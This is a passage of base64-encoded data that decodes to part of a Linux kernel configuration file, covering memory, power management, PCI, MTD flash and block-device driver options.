Q1RfTUVNT1JZX01PREVMPXkKQ09ORklHX0lMTEVHQUxfUE9JTlRFUl9WQUxVRT0weGRlYWQwMDAw MDAwMDAwMDAKQ09ORklHX1NFTEVDVF9NRU1PUllfTU9ERUw9eQpDT05GSUdfU1BBUlNFTUVNX01B TlVBTD15CkNPTkZJR19TUEFSU0VNRU09eQpDT05GSUdfSEFWRV9NRU1PUllfUFJFU0VOVD15CkNP TkZJR19TUEFSU0VNRU1fRVhUUkVNRT15CkNPTkZJR19TUEFSU0VNRU1fVk1FTU1BUF9FTkFCTEU9 eQpDT05GSUdfU1BBUlNFTUVNX0FMTE9DX01FTV9NQVBfVE9HRVRIRVI9eQpDT05GSUdfU1BBUlNF TUVNX1ZNRU1NQVA9eQpDT05GSUdfSEFWRV9NRU1CTE9DSz15CkNPTkZJR19IQVZFX01FTUJMT0NL X05PREVfTUFQPXkKQ09ORklHX0FSQ0hfRElTQ0FSRF9NRU1CTE9DSz15CkNPTkZJR19NRU1PUllf SVNPTEFUSU9OPXkKIyBDT05GSUdfSEFWRV9CT09UTUVNX0lORk9fTk9ERSBpcyBub3Qgc2V0CiMg Q09ORklHX01FTU9SWV9IT1RQTFVHIGlzIG5vdCBzZXQKQ09ORklHX1NQTElUX1BUTE9DS19DUFVT PTQKQ09ORklHX0FSQ0hfRU5BQkxFX1NQTElUX1BNRF9QVExPQ0s9eQpDT05GSUdfQ09NUEFDVElP Tj15CkNPTkZJR19NSUdSQVRJT049eQpDT05GSUdfUEhZU19BRERSX1RfNjRCSVQ9eQpDT05GSUdf Wk9ORV9ETUFfRkxBRz0wCkNPTkZJR19WSVJUX1RPX0JVUz15CkNPTkZJR19NTVVfTk9USUZJRVI9 eQojIENPTkZJR19LU00gaXMgbm90IHNldApDT05GSUdfREVGQVVMVF9NTUFQX01JTl9BRERSPTQw OTYKQ09ORklHX1RSQU5TUEFSRU5UX0hVR0VQQUdFPXkKQ09ORklHX1RSQU5TUEFSRU5UX0hVR0VQ QUdFX0FMV0FZUz15CiMgQ09ORklHX1RSQU5TUEFSRU5UX0hVR0VQQUdFX01BRFZJU0UgaXMgbm90 IHNldApDT05GSUdfTkVFRF9QRVJfQ1BVX0tNPXkKQ09ORklHX0NMRUFOQ0FDSEU9eQpDT05GSUdf RlJPTlRTV0FQPXkKQ09ORklHX0NNQT15CkNPTkZJR19DTUFfREVCVUc9eQpDT05GSUdfQ01BX0RF QlVHRlM9eQpDT05GSUdfQ01BX0FSRUFTPTcKQ09ORklHX1pTV0FQPXkKQ09ORklHX1pQT09MPXkK Q09ORklHX1pCVUQ9eQpDT05GSUdfWlNNQUxMT0M9bQojIENPTkZJR19QR1RBQkxFX01BUFBJTkcg aXMgbm90IHNldAojIENPTkZJR19aU01BTExPQ19TVEFUIGlzIG5vdCBzZXQKQ09ORklHX0dFTkVS SUNfRUFSTFlfSU9SRU1BUD15CkNPTkZJR19BUkNIX1NVUFBPUlRTX0RFRkVSUkVEX1NUUlVDVF9Q QUdFX0lOSVQ9eQpDT05GSUdfSURMRV9QQUdFX1RSQUNLSU5HPXkKQ09ORklHX1g4Nl9QTUVNX0xF R0FDWV9ERVZJQ0U9eQpDT05GSUdfWDg2X1BNRU1fTEVHQUNZPW0KQ09ORklHX1g4Nl9DSEVDS19C SU9TX0NPUlJVUFRJT049eQojIENPTkZJR19YODZfQk9PVFBBUkFNX01FTU9SWV9DT1JSVVBUSU9O X0NIRUNLIGlzIG5vdCBzZXQKQ09ORklHX1g4Nl9SRVNFUlZFX0xPVz02NAojIENPTkZJR19NVFJS IGlzIG5vdCBzZXQKQ09ORklHX0FSQ0hfUkFORE9NPXkKQ09ORklHX1g4Nl9TTUFQPXkKQ09ORklH X0VGST15CiMgQ09ORklHX0VGSV9TVFVCIGlzIG5vdCBzZXQKQ09ORklHX1NFQ0NPTVA9eQojIENP TkZJR19IWl8xMDAgaXMgbm90IHNldApDT05GSUdfSFpfMjUwPXkKIyBDT05GSUdfSFpfMzAwIGlz IG5vdCBzZXQKIyBDT05GSUdfSFpfMTAwMCBpcyBub3Qgc2V0CkNPTkZJR19IWj0yNTAKQ09ORklH X1NDSEVEX0hSVElDSz15CiMgQ09ORklHX0tFWEVDIGlzIG5vdCBzZXQKQ09ORklHX0tFWEVDX0ZJ TEU9eQpDT05GSUdfS0VYRUNfVkVSSUZZX1NJRz15CkNPTkZJR19DUkFTSF9EVU1QPXkKQ09ORklH X1BIWVNJQ0FMX1NUQVJUPTB4MTAwMDAwMAojIENPTkZJR19SRUxPQ0FUQUJMRSBpcyBub3Qgc2V0 CkNPTkZJR19QSFlTSUNBTF9BTElHTj0weDIwMDAwMApDT05GSUdfQ09NUEFUX1ZEU089eQojIENP TkZJR19MRUdBQ1lfVlNZU0NBTExfTkFUSVZFIGlzIG5vdCBzZXQKQ09ORklHX0xFR0FDWV9WU1lT Q0FMTF9FTVVMQVRFPXkKIyBDT05GSUdfTEVHQUNZX1ZTWVNDQUxMX05PTkUgaXMgbm90IHNldAoj IENPTkZJR19DTURMSU5FX0JPT0wgaXMgbm90IHNldAojIENPTkZJR19NT0RJRllfTERUX1NZU0NB TEwgaXMgbm90IHNldApDT05GSUdfSEFWRV9MSVZFUEFUQ0g9eQojIENPTkZJR19MSVZFUEFUQ0gg aXMgbm90IHNldApDT05GSUdfQVJDSF9FTkFCTEVfTUVNT1JZX0hPVFBMVUc9eQojIENPTkZJR19I QVZFX01FTU9SWUxFU1NfTk9ERVMgaXMgbm90IHNldAoKIwojIFBvd2VyIG1hbmFnZW1lbnQgYW5k IEFDUEkgb3B0aW9ucwojCiMgQ09ORklHX1NVU1BFTkQgaXMgbm90IHNldApDT05GSUdfSElCRVJO QVRFX0NBTExCQUNLUz15CiMgQ09ORklHX0hJQkVSTkFUSU9OIGlzIG5vdCBzZXQKQ09ORklHX1BN X1NMRUVQPXkKIyBDT05GSUdfUE1fQVVUT1NMRUVQIGlzIG5vdCBzZXQKQ09ORklHX1BNX1dBS0VM T0NLUz15CkNPTkZJR19QTV9XQUtFTE9DS1NfTElNSVQ9MTAwCiMgQ09ORklHX1BNX1dBS0VMT0NL U19HQyBpcyBub3Qgc2V0CkNPTkZJR19QTT15CkNPTkZJR19QTV9ERUJVRz15CiMgQ09ORklHX1BN X0FEVkFOQ0VEX0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX1BNX1NMRUVQX0RFQlVHPXkKIyBDT05G SUdfRFBNX1dBVENIRE9HIGlzIG5vdCBzZXQKIyBDT05GSUdfUE1fVFJBQ0VfUlRDIGlzIG5vdCBz ZXQKQ09ORklHX1BNX0NMSz15CkNPTkZJR19XUV9QT1dFUl9FRkZJQ0lFTlRfREVGQVVMVD15CkNP TkZJR19BQ1BJPXkKQ09ORklHX0FDUElfTEVHQUNZX1RBQkxFU19MT09LVVA9eQpDT05GSUdfQVJD SF9NSUdIVF9IQVZFX0FDUElfUERDPXkKQ09ORklHX0FDUElfU1lTVEVNX1BPV0VSX1NUQVRFU19T VVBQT1JUPXkKQ09ORklHX0FDUElfUkVWX09WRVJSSURFX1BPU1NJQkxFPXkKIyBDT05GSUdfQUNQ SV9FQ19ERUJVR0ZTIGlzIG5vdCBzZXQKQ09ORklHX0FDUElfQUM9eQojIENPTkZJR19BQ1BJX0JB VFRFUlkgaXMgbm90IHNldApDT05GSUdfQUNQSV9CVVRUT049eQojIENPTkZJR19BQ1BJX1ZJREVP IGlzIG5vdCBzZXQKQ09ORklHX0FDUElfRkFOPW0KQ09ORklHX0FDUElfRE9DSz15CiMgQ09ORklH X0FDUElfUFJPQ0VTU09SIGlzIG5vdCBzZXQKQ09ORklHX0FDUElfQ1VTVE9NX0RTRFRfRklMRT0i IgojIENPTkZJR19BQ1BJX0NVU1RPTV9EU0RUIGlzIG5vdCBzZXQKIyBDT05GSUdfQUNQSV9JTklU UkRfVEFCTEVfT1ZFUlJJREUgaXMgbm90IHNldAojIENPTkZJR19BQ1BJX0RFQlVHIGlzIG5vdCBz ZXQKQ09ORklHX0FDUElfUENJX1NMT1Q9eQojIENPTkZJR19YODZfUE1fVElNRVIgaXMgbm90IHNl dAojIENPTkZJR19BQ1BJX0NPTlRBSU5FUiBpcyBub3Qgc2V0CkNPTkZJR19BQ1BJX0hPVFBMVUdf SU9BUElDPXkKQ09ORklHX0FDUElfU0JTPW0KIyBDT05GSUdfQUNQSV9IRUQgaXMgbm90IHNldApD T05GSUdfQUNQSV9DVVNUT01fTUVUSE9EPXkKQ09ORklHX0FDUElfQkdSVD15CkNPTkZJR19BQ1BJ X1JFRFVDRURfSEFSRFdBUkVfT05MWT15CkNPTkZJR19BQ1BJX05GSVQ9eQpDT05GSUdfSEFWRV9B Q1BJX0FQRUk9eQpDT05GSUdfSEFWRV9BQ1BJX0FQRUlfTk1JPXkKIyBDT05GSUdfQUNQSV9BUEVJ IGlzIG5vdCBzZXQKIyBDT05GSUdfUE1JQ19PUFJFR0lPTiBpcyBub3Qgc2V0CiMgQ09ORklHX1NG SSBpcyBub3Qgc2V0CgojCiMgQ1BVIEZyZXF1ZW5jeSBzY2FsaW5nCiMKIyBDT05GSUdfQ1BVX0ZS RVEgaXMgbm90IHNldAoKIwojIENQVSBJZGxlCiMKIyBDT05GSUdfQ1BVX0lETEUgaXMgbm90IHNl dAojIENPTkZJR19BUkNIX05FRURTX0NQVV9JRExFX0NPVVBMRUQgaXMgbm90IHNldAoKIwojIE1l bW9yeSBwb3dlciBzYXZpbmdzCiMKQ09ORklHX0k3MzAwX0lETEVfSU9BVF9DSEFOTkVMPXkKQ09O RklHX0k3MzAwX0lETEU9eQoKIwojIEJ1cyBvcHRpb25zIChQQ0kgZXRjLikKIwpDT05GSUdfUENJ PXkKQ09ORklHX1BDSV9ESVJFQ1Q9eQpDT05GSUdfUENJX01NQ09ORklHPXkKQ09ORklHX1BDSV9Y RU49eQpDT05GSUdfUENJX0RPTUFJTlM9eQpDT05GSUdfUENJX0NOQjIwTEVfUVVJUks9eQpDT05G SUdfUENJRVBPUlRCVVM9eQpDT05GSUdfSE9UUExVR19QQ0lfUENJRT15CiMgQ09ORklHX1BDSUVB RVIgaXMgbm90IHNldAojIENPTkZJR19QQ0lFQVNQTSBpcyBub3Qgc2V0CkNPTkZJR19QQ0lFX1BN RT15CkNPTkZJR19QQ0lfQlVTX0FERFJfVF82NEJJVD15CkNPTkZJR19QQ0lfTVNJPXkKQ09ORklH X1BDSV9NU0lfSVJRX0RPTUFJTj15CkNPTkZJR19QQ0lfREVCVUc9eQojIENPTkZJR19QQ0lfUkVB TExPQ19FTkFCTEVfQVVUTyBpcyBub3Qgc2V0CkNPTkZJR19QQ0lfU1RVQj1tCkNPTkZJR19YRU5f UENJREVWX0ZST05URU5EPXkKIyBDT05GSUdfSFRfSVJRIGlzIG5vdCBzZXQKQ09ORklHX1BDSV9B VFM9eQpDT05GSUdfUENJX0lPVj15CiMgQ09ORklHX1BDSV9QUkkgaXMgbm90IHNldApDT05GSUdf UENJX1BBU0lEPXkKQ09ORklHX1BDSV9MQUJFTD15CgojCiMgUENJIGhvc3QgY29udHJvbGxlciBk cml2ZXJzCiMKQ09ORklHX0lTQV9ETUFfQVBJPXkKQ09ORklHX1BDQ0FSRD15CkNPTkZJR19QQ01D SUE9bQpDT05GSUdfUENNQ0lBX0xPQURfQ0lTPXkKQ09ORklHX0NBUkRCVVM9eQoKIwojIFBDLWNh cmQgYnJpZGdlcwojCiMgQ09ORklHX1lFTlRBIGlzIG5vdCBzZXQKQ09ORklHX1BENjcyOT1tCkNP TkZJR19JODIwOTI9bQpDT05GSUdfUENDQVJEX05PTlNUQVRJQz15CkNPTkZJR19IT1RQTFVHX1BD ST15CiMgQ09ORklHX0hPVFBMVUdfUENJX0FDUEkgaXMgbm90IHNldAojIENPTkZJR19IT1RQTFVH X1BDSV9DUENJIGlzIG5vdCBzZXQKQ09ORklHX0hPVFBMVUdfUENJX1NIUEM9bQpDT05GSUdfUkFQ SURJTz1tCiMgQ09ORklHX1JBUElESU9fVFNJNzIxIGlzIG5vdCBzZXQKQ09ORklHX1JBUElESU9f RElTQ19USU1FT1VUPTMwCkNPTkZJR19SQVBJRElPX0VOQUJMRV9SWF9UWF9QT1JUUz15CkNPTkZJ R19SQVBJRElPX0RNQV9FTkdJTkU9eQpDT05GSUdfUkFQSURJT19ERUJVRz15CkNPTkZJR19SQVBJ RElPX0VOVU1fQkFTSUM9bQoKIwojIFJhcGlkSU8gU3dpdGNoIGRyaXZlcnMKIwpDT05GSUdfUkFQ SURJT19UU0k1N1g9bQpDT05GSUdfUkFQSURJT19DUFNfWFg9bQojIENPTkZJR19SQVBJRElPX1RT STU2OCBpcyBub3Qgc2V0CkNPTkZJR19SQVBJRElPX0NQU19HRU4yPW0KQ09ORklHX1g4Nl9TWVNG Qj15CgojCiMgRXhlY3V0YWJsZSBmaWxlIGZvcm1hdHMgLyBFbXVsYXRpb25zCiMKQ09ORklHX0JJ TkZNVF9FTEY9eQpDT05GSUdfQ09NUEFUX0JJTkZNVF9FTEY9eQpDT05GSUdfQ09SRV9EVU1QX0RF RkFVTFRfRUxGX0hFQURFUlM9eQpDT05GSUdfQklORk1UX1NDUklQVD15CiMgQ09ORklHX0hBVkVf QU9VVCBpcyBub3Qgc2V0CiMgQ09ORklHX0JJTkZNVF9NSVNDIGlzIG5vdCBzZXQKQ09ORklHX0NP UkVEVU1QPXkKQ09ORklHX0lBMzJfRU1VTEFUSU9OPXkKQ09ORklHX0lBMzJfQU9VVD1tCkNPTkZJ R19YODZfWDMyPXkKQ09ORklHX0NPTVBBVD15CkNPTkZJR19DT01QQVRfRk9SX1U2NF9BTElHTk1F TlQ9eQpDT05GSUdfS0VZU19DT01QQVQ9eQpDT05GSUdfWDg2X0RFVl9ETUFfT1BTPXkKQ09ORklH X1BNQ19BVE9NPXkKIyBDT05GSUdfTkVUIGlzIG5vdCBzZXQKQ09ORklHX0hBVkVfQlBGX0pJVD15 CgojCiMgRGV2aWNlIERyaXZlcnMKIwoKIwojIEdlbmVyaWMgRHJpdmVyIE9wdGlvbnMKIwojIENP TkZJR19VRVZFTlRfSEVMUEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfREVWVE1QRlMgaXMgbm90IHNl dAojIENPTkZJR19TVEFOREFMT05FIGlzIG5vdCBzZXQKQ09ORklHX1BSRVZFTlRfRklSTVdBUkVf QlVJTEQ9eQpDT05GSUdfRldfTE9BREVSPXkKIyBDT05GSUdfRklSTVdBUkVfSU5fS0VSTkVMIGlz IG5vdCBzZXQKQ09ORklHX0VYVFJBX0ZJUk1XQVJFPSIiCkNPTkZJR19GV19MT0FERVJfVVNFUl9I RUxQRVI9eQojIENPTkZJR19GV19MT0FERVJfVVNFUl9IRUxQRVJfRkFMTEJBQ0sgaXMgbm90IHNl dAojIENPTkZJR19BTExPV19ERVZfQ09SRURVTVAgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19E UklWRVIgaXMgbm90IHNldAojIENPTkZJR19ERUJVR19ERVZSRVMgaXMgbm90IHNldAojIENPTkZJ R19TWVNfSFlQRVJWSVNPUiBpcyBub3Qgc2V0CiMgQ09ORklHX0dFTkVSSUNfQ1BVX0RFVklDRVMg aXMgbm90IHNldApDT05GSUdfR0VORVJJQ19DUFVfQVVUT1BST0JFPXkKQ09ORklHX1JFR01BUD15 CkNPTkZJR19SRUdNQVBfSTJDPXkKQ09ORklHX1JFR01BUF9TUEk9eQpDT05GSUdfUkVHTUFQX1NQ TUk9bQpDT05GSUdfUkVHTUFQX01NSU89bQpDT05GSUdfUkVHTUFQX0lSUT15CiMgQ09ORklHX0RN QV9TSEFSRURfQlVGRkVSIGlzIG5vdCBzZXQKQ09ORklHX0RNQV9DTUE9eQoKIwojIERlZmF1bHQg Y29udGlndW91cyBtZW1vcnkgYXJlYSBzaXplOgojCkNPTkZJR19DTUFfU0laRV9NQllURVM9MApD T05GSUdfQ01BX1NJWkVfU0VMX01CWVRFUz15CiMgQ09ORklHX0NNQV9TSVpFX1NFTF9QRVJDRU5U QUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfQ01BX1NJWkVfU0VMX01JTiBpcyBub3Qgc2V0CiMgQ09O RklHX0NNQV9TSVpFX1NFTF9NQVggaXMgbm90IHNldApDT05GSUdfQ01BX0FMSUdOTUVOVD04Cgoj CiMgQnVzIGRldmljZXMKIwpDT05GSUdfTVREPXkKQ09ORklHX01URF9URVNUUz1tCkNPTkZJR19N VERfUkVEQk9PVF9QQVJUUz1tCkNPTkZJR19NVERfUkVEQk9PVF9ESVJFQ1RPUllfQkxPQ0s9LTEK Q09ORklHX01URF9SRURCT09UX1BBUlRTX1VOQUxMT0NBVEVEPXkKIyBDT05GSUdfTVREX1JFREJP T1RfUEFSVFNfUkVBRE9OTFkgaXMgbm90IHNldAojIENPTkZJR19NVERfQ01ETElORV9QQVJUUyBp cyBub3Qgc2V0CkNPTkZJR19NVERfT0ZfUEFSVFM9bQojIENPTkZJR19NVERfQVI3X1BBUlRTIGlz IG5vdCBzZXQKCiMKIyBVc2VyIE1vZHVsZXMgQW5kIFRyYW5zbGF0aW9uIExheWVycwojCkNPTkZJ R19NVERfQkxLREVWUz15CkNPTkZJR19NVERfQkxPQ0s9eQojIENPTkZJR19GVEwgaXMgbm90IHNl dApDT05GSUdfTkZUTD15CkNPTkZJR19ORlRMX1JXPXkKQ09ORklHX0lORlRMPW0KIyBDT05GSUdf UkZEX0ZUTCBpcyBub3Qgc2V0CkNPTkZJR19TU0ZEQz15CkNPTkZJR19TTV9GVEw9eQpDT05GSUdf TVREX09PUFM9bQpDT05GSUdfTVREX1NXQVA9eQpDT05GSUdfTVREX1BBUlRJVElPTkVEX01BU1RF Uj15CgojCiMgUkFNL1JPTS9GbGFzaCBjaGlwIGRyaXZlcnMKIwojIENPTkZJR19NVERfQ0ZJIGlz IG5vdCBzZXQKQ09ORklHX01URF9KRURFQ1BST0JFPXkKQ09ORklHX01URF9HRU5fUFJPQkU9eQpD T05GSUdfTVREX0NGSV9BRFZfT1BUSU9OUz15CkNPTkZJR19NVERfQ0ZJX05PU1dBUD15CiMgQ09O RklHX01URF9DRklfQkVfQllURV9TV0FQIGlzIG5vdCBzZXQKIyBDT05GSUdfTVREX0NGSV9MRV9C WVRFX1NXQVAgaXMgbm90IHNldApDT05GSUdfTVREX0NGSV9HRU9NRVRSWT15CiMgQ09ORklHX01U RF9NQVBfQkFOS19XSURUSF8xIGlzIG5vdCBzZXQKQ09ORklHX01URF9NQVBfQkFOS19XSURUSF8y PXkKIyBDT05GSUdfTVREX01BUF9CQU5LX1dJRFRIXzQgaXMgbm90IHNldApDT05GSUdfTVREX01B UF9CQU5LX1dJRFRIXzg9eQojIENPTkZJR19NVERfTUFQX0JBTktfV0lEVEhfMTYgaXMgbm90IHNl dAojIENPTkZJR19NVERfTUFQX0JBTktfV0lEVEhfMzIgaXMgbm90IHNldApDT05GSUdfTVREX0NG SV9JMT15CkNPTkZJR19NVERfQ0ZJX0kyPXkKIyBDT05GSUdfTVREX0NGSV9JNCBpcyBub3Qgc2V0 CkNPTkZJR19NVERfQ0ZJX0k4PXkKIyBDT05GSUdfTVREX09UUCBpcyBub3Qgc2V0CkNPTkZJR19N VERfQ0ZJX0lOVEVMRVhUPW0KIyBDT05GSUdfTVREX0NGSV9BTURTVEQgaXMgbm90IHNldApDT05G SUdfTVREX0NGSV9TVEFBPXkKQ09ORklHX01URF9DRklfVVRJTD15CiMgQ09ORklHX01URF9SQU0g aXMgbm90IHNldAojIENPTkZJR19NVERfUk9NIGlzIG5vdCBzZXQKIyBDT05GSUdfTVREX0FCU0VO VCBpcyBub3Qgc2V0CgojCiMgTWFwcGluZyBkcml2ZXJzIGZvciBjaGlwIGFjY2VzcwojCiMgQ09O RklHX01URF9DT01QTEVYX01BUFBJTkdTIGlzIG5vdCBzZXQKQ09ORklHX01URF9QSFlTTUFQPXkK Q09ORklHX01URF9QSFlTTUFQX0NPTVBBVD15CkNPTkZJR19NVERfUEhZU01BUF9TVEFSVD0weDgw MDAwMDAKQ09ORklHX01URF9QSFlTTUFQX0xFTj0wCkNPTkZJR19NVERfUEhZU01BUF9CQU5LV0lE VEg9MgpDT05GSUdfTVREX1BIWVNNQVBfT0Y9bQojIENPTkZJR19NVERfQU1ENzZYUk9NIGlzIG5v dCBzZXQKQ09ORklHX01URF9JQ0hYUk9NPW0KQ09ORklHX01URF9FU0IyUk9NPXkKQ09ORklHX01U RF9DSzgwNFhST009bQojIENPTkZJR19NVERfU0NCMl9GTEFTSCBpcyBub3Qgc2V0CkNPTkZJR19N VERfTkVUdGVsPXkKIyBDT05GSUdfTVREX0w0NDBHWCBpcyBub3Qgc2V0CkNPTkZJR19NVERfSU5U RUxfVlJfTk9SPW0KIyBDT05GSUdfTVREX1BMQVRSQU0gaXMgbm90IHNldAoKIwojIFNlbGYtY29u dGFpbmVkIE1URCBkZXZpY2UgZHJpdmVycwojCiMgQ09ORklHX01URF9QTUM1NTEgaXMgbm90IHNl dApDT05GSUdfTVREX0RBVEFGTEFTSD1tCiMgQ09ORklHX01URF9EQVRBRkxBU0hfV1JJVEVfVkVS SUZZIGlzIG5vdCBzZXQKIyBDT05GSUdfTVREX0RBVEFGTEFTSF9PVFAgaXMgbm90IHNldAojIENP TkZJR19NVERfTTI1UDgwIGlzIG5vdCBzZXQKQ09ORklHX01URF9TU1QyNUw9eQpDT05GSUdfTVRE X1NMUkFNPW0KQ09ORklHX01URF9QSFJBTT1tCiMgQ09ORklHX01URF9NVERSQU0gaXMgbm90IHNl dAojIENPTkZJR19NVERfQkxPQ0syTVREIGlzIG5vdCBzZXQKCiMKIyBEaXNrLU9uLUNoaXAgRGV2 aWNlIERyaXZlcnMKIwpDT05GSUdfTVREX0RPQ0czPXkKQ09ORklHX0JDSF9DT05TVF9NPTE0CkNP TkZJR19CQ0hfQ09OU1RfVD00CkNPTkZJR19NVERfTkFORF9FQ0M9eQpDT05GSUdfTVREX05BTkRf RUNDX1NNQz15CiMgQ09ORklHX01URF9OQU5EIGlzIG5vdCBzZXQKQ09ORklHX01URF9PTkVOQU5E PW0KQ09ORklHX01URF9PTkVOQU5EX1ZFUklGWV9XUklURT15CiMgQ09ORklHX01URF9PTkVOQU5E X0dFTkVSSUMgaXMgbm90IHNldAojIENPTkZJR19NVERfT05FTkFORF9PVFAgaXMgbm90IHNldAoj IENPTkZJR19NVERfT05FTkFORF8yWF9QUk9HUkFNIGlzIG5vdCBzZXQKCiMKIyBMUEREUiAmIExQ RERSMiBQQ00gbWVtb3J5IGRyaXZlcnMKIwojIENPTkZJR19NVERfTFBERFIgaXMgbm90IHNldApD T05GSUdfTVREX1NQSV9OT1I9eQpDT05GSUdfTVREX1NQSV9OT1JfVVNFXzRLX1NFQ1RPUlM9eQoj IENPTkZJR19NVERfVUJJIGlzIG5vdCBzZXQKQ09ORklHX09GPXkKIyBDT05GSUdfT0ZfVU5JVFRF U1QgaXMgbm90IHNldApDT05GSUdfT0ZfRFlOQU1JQz15CkNPTkZJR19PRl9BRERSRVNTPXkKQ09O RklHX09GX0FERFJFU1NfUENJPXkKQ09ORklHX09GX0lSUT15CkNPTkZJR19PRl9QQ0k9eQpDT05G SUdfT0ZfUENJX0lSUT15CkNPTkZJR19PRl9NVEQ9eQpDT05GSUdfT0ZfUkVTT0xWRT15CkNPTkZJ R19PRl9PVkVSTEFZPXkKQ09ORklHX0FSQ0hfTUlHSFRfSEFWRV9QQ19QQVJQT1JUPXkKQ09ORklH X1BBUlBPUlQ9bQpDT05GSUdfUEFSUE9SVF9QQz1tCiMgQ09ORklHX1BBUlBPUlRfU0VSSUFMIGlz IG5vdCBzZXQKQ09ORklHX1BBUlBPUlRfUENfRklGTz15CiMgQ09ORklHX1BBUlBPUlRfUENfU1VQ RVJJTyBpcyBub3Qgc2V0CkNPTkZJR19QQVJQT1JUX1BDX1BDTUNJQT1tCiMgQ09ORklHX1BBUlBP UlRfR1NDIGlzIG5vdCBzZXQKQ09ORklHX1BBUlBPUlRfQVg4ODc5Nj1tCiMgQ09ORklHX1BBUlBP UlRfMTI4NCBpcyBub3Qgc2V0CkNPTkZJR19QQVJQT1JUX05PVF9QQz15CkNPTkZJR19QTlA9eQoj IENPTkZJR19QTlBfREVCVUdfTUVTU0FHRVMgaXMgbm90IHNldAoKIwojIFByb3RvY29scwojCkNP TkZJR19QTlBBQ1BJPXkKQ09ORklHX0JMS19ERVY9eQpDT05GSUdfQkxLX0RFVl9OVUxMX0JMSz15 CkNPTkZJR19CTEtfREVWX0ZEPXkKQ09ORklHX1BBUklERT1tCgojCiMgUGFyYWxsZWwgSURFIGhp Z2gtbGV2ZWwgZHJpdmVycwojCiMgQ09ORklHX1BBUklERV9QRCBpcyBub3Qgc2V0CiMgQ09ORklH X1BBUklERV9QQ0QgaXMgbm90IHNldApDT05GSUdfUEFSSURFX1BGPW0KIyBDT05GSUdfUEFSSURF X1BUIGlzIG5vdCBzZXQKIyBDT05GSUdfUEFSSURFX1BHIGlzIG5vdCBzZXQKCiMKIyBQYXJhbGxl bCBJREUgcHJvdG9jb2wgbW9kdWxlcwojCiMgQ09ORklHX1BBUklERV9BVEVOIGlzIG5vdCBzZXQK IyBDT05GSUdfUEFSSURFX0JQQ0sgaXMgbm90IHNldApDT05GSUdfUEFSSURFX0NPTU09bQojIENP TkZJR19QQVJJREVfRFNUUiBpcyBub3Qgc2V0CkNPTkZJR19QQVJJREVfRklUMj1tCiMgQ09ORklH X1BBUklERV9GSVQzIGlzIG5vdCBzZXQKQ09ORklHX1BBUklERV9FUEFUPW0KIyBDT05GSUdfUEFS SURFX0VQQVRDOCBpcyBub3Qgc2V0CkNPTkZJR19QQVJJREVfRVBJQT1tCkNPTkZJR19QQVJJREVf RlJJUT1tCkNPTkZJR19QQVJJREVfRlJQVz1tCkNPTkZJR19QQVJJREVfS0JJQz1tCkNPTkZJR19Q QVJJREVfS1RUST1tCkNPTkZJR19QQVJJREVfT04yMD1tCkNPTkZJR19QQVJJREVfT04yNj1tCkNP TkZJR19CTEtfREVWX1BDSUVTU0RfTVRJUDMyWFg9bQojIENPTkZJR19aUkFNIGlzIG5vdCBzZXQK IyBDT05GSUdfQkxLX0NQUV9DSVNTX0RBIGlzIG5vdCBzZXQKQ09ORklHX0JMS19ERVZfREFDOTYw PXkKQ09ORklHX0JMS19ERVZfVU1FTT15CiMgQ09ORklHX0JMS19ERVZfQ09XX0NPTU1PTiBpcyBu b3Qgc2V0CkNPTkZJR19CTEtfREVWX0xPT1A9eQpDT05GSUdfQkxLX0RFVl9MT09QX01JTl9DT1VO VD04CiMgQ09ORklHX0JMS19ERVZfQ1JZUFRPTE9PUCBpcyBub3Qgc2V0CgojCiMgRFJCRCBkaXNh YmxlZCBiZWNhdXNlIFBST0NfRlMgb3IgSU5FVCBub3Qgc2VsZWN0ZWQKIwpDT05GSUdfQkxLX0RF Vl9TS0Q9eQpDT05GSUdfQkxLX0RFVl9TWDg9bQpDT05GSUdfQkxLX0RFVl9SQU09eQpDT05GSUdf QkxLX0RFVl9SQU1fQ09VTlQ9MTYKQ09ORklHX0JMS19ERVZfUkFNX1NJWkU9NDA5NgpDT05GSUdf QkxLX0RFVl9SQU1fREFYPXkKQ09ORklHX0NEUk9NX1BLVENEVkQ9bQpDT05GSUdfQ0RST01fUEtU Q0RWRF9CVUZGRVJTPTgKQ09ORklHX0NEUk9NX1BLVENEVkRfV0NBQ0hFPXkKIyBDT05GSUdfWEVO X0JMS0RFVl9GUk9OVEVORCBpcyBub3Qgc2V0CkNPTkZJR19YRU5fQkxLREVWX0JBQ0tFTkQ9eQpD T05GSUdfVklSVElPX0JMSz1tCkNPTkZJR19CTEtfREVWX0hEPXkKQ09ORklHX0JMS19ERVZfUlNY WD1tCkNPTkZJR19CTEtfREVWX05WTUU9eQoKIwojIE1pc2MgZGV2aWNlcwojCiMgQ09ORklHX1NF TlNPUlNfTElTM0xWMDJEIGlzIG5vdCBzZXQKQ09ORklHX0FENTI1WF9EUE9UPW0KQ09ORklHX0FE NTI1WF9EUE9UX0kyQz1tCkNPTkZJR19BRDUyNVhfRFBPVF9TUEk9bQpDT05GSUdfRFVNTVlfSVJR PW0KQ09ORklHX0lCTV9BU009bQojIENPTkZJR19QSEFOVE9NIGlzIG5vdCBzZXQKIyBDT05GSUdf U0dJX0lPQzQgaXMgbm90IHNldApDT05GSUdfVElGTV9DT1JFPW0KQ09ORklHX1RJRk1fN1hYMT1t CkNPTkZJR19JQ1M5MzJTNDAxPXkKQ09ORklHX0VOQ0xPU1VSRV9TRVJWSUNFUz15CiMgQ09ORklH X0hQX0lMTyBpcyBub3Qgc2V0CiMgQ09ORklHX0FQRFM5ODAyQUxTIGlzIG5vdCBzZXQKQ09ORklH X0lTTDI5MDAzPXkKIyBDT05GSUdfSVNMMjkwMjAgaXMgbm90IHNldAojIENPTkZJR19TRU5TT1JT X1RTTDI1NTAgaXMgbm90IHNldApDT05GSUdfU0VOU09SU19CSDE3ODA9bQpDT05GSUdfU0VOU09S U19CSDE3NzA9bQpDT05GSUdfU0VOU09SU19BUERTOTkwWD1tCkNPTkZJR19ITUM2MzUyPXkKQ09O RklHX0RTMTY4Mj1tCkNPTkZJR19USV9EQUM3NTEyPW0KQ09ORklHX1ZNV0FSRV9CQUxMT09OPW0K Q09ORklHX0JNUDA4NT15CkNPTkZJR19CTVAwODVfSTJDPXkKQ09ORklHX0JNUDA4NV9TUEk9bQpD T05GSUdfVVNCX1NXSVRDSF9GU0E5NDgwPXkKQ09ORklHX0xBVFRJQ0VfRUNQM19DT05GSUc9bQpD 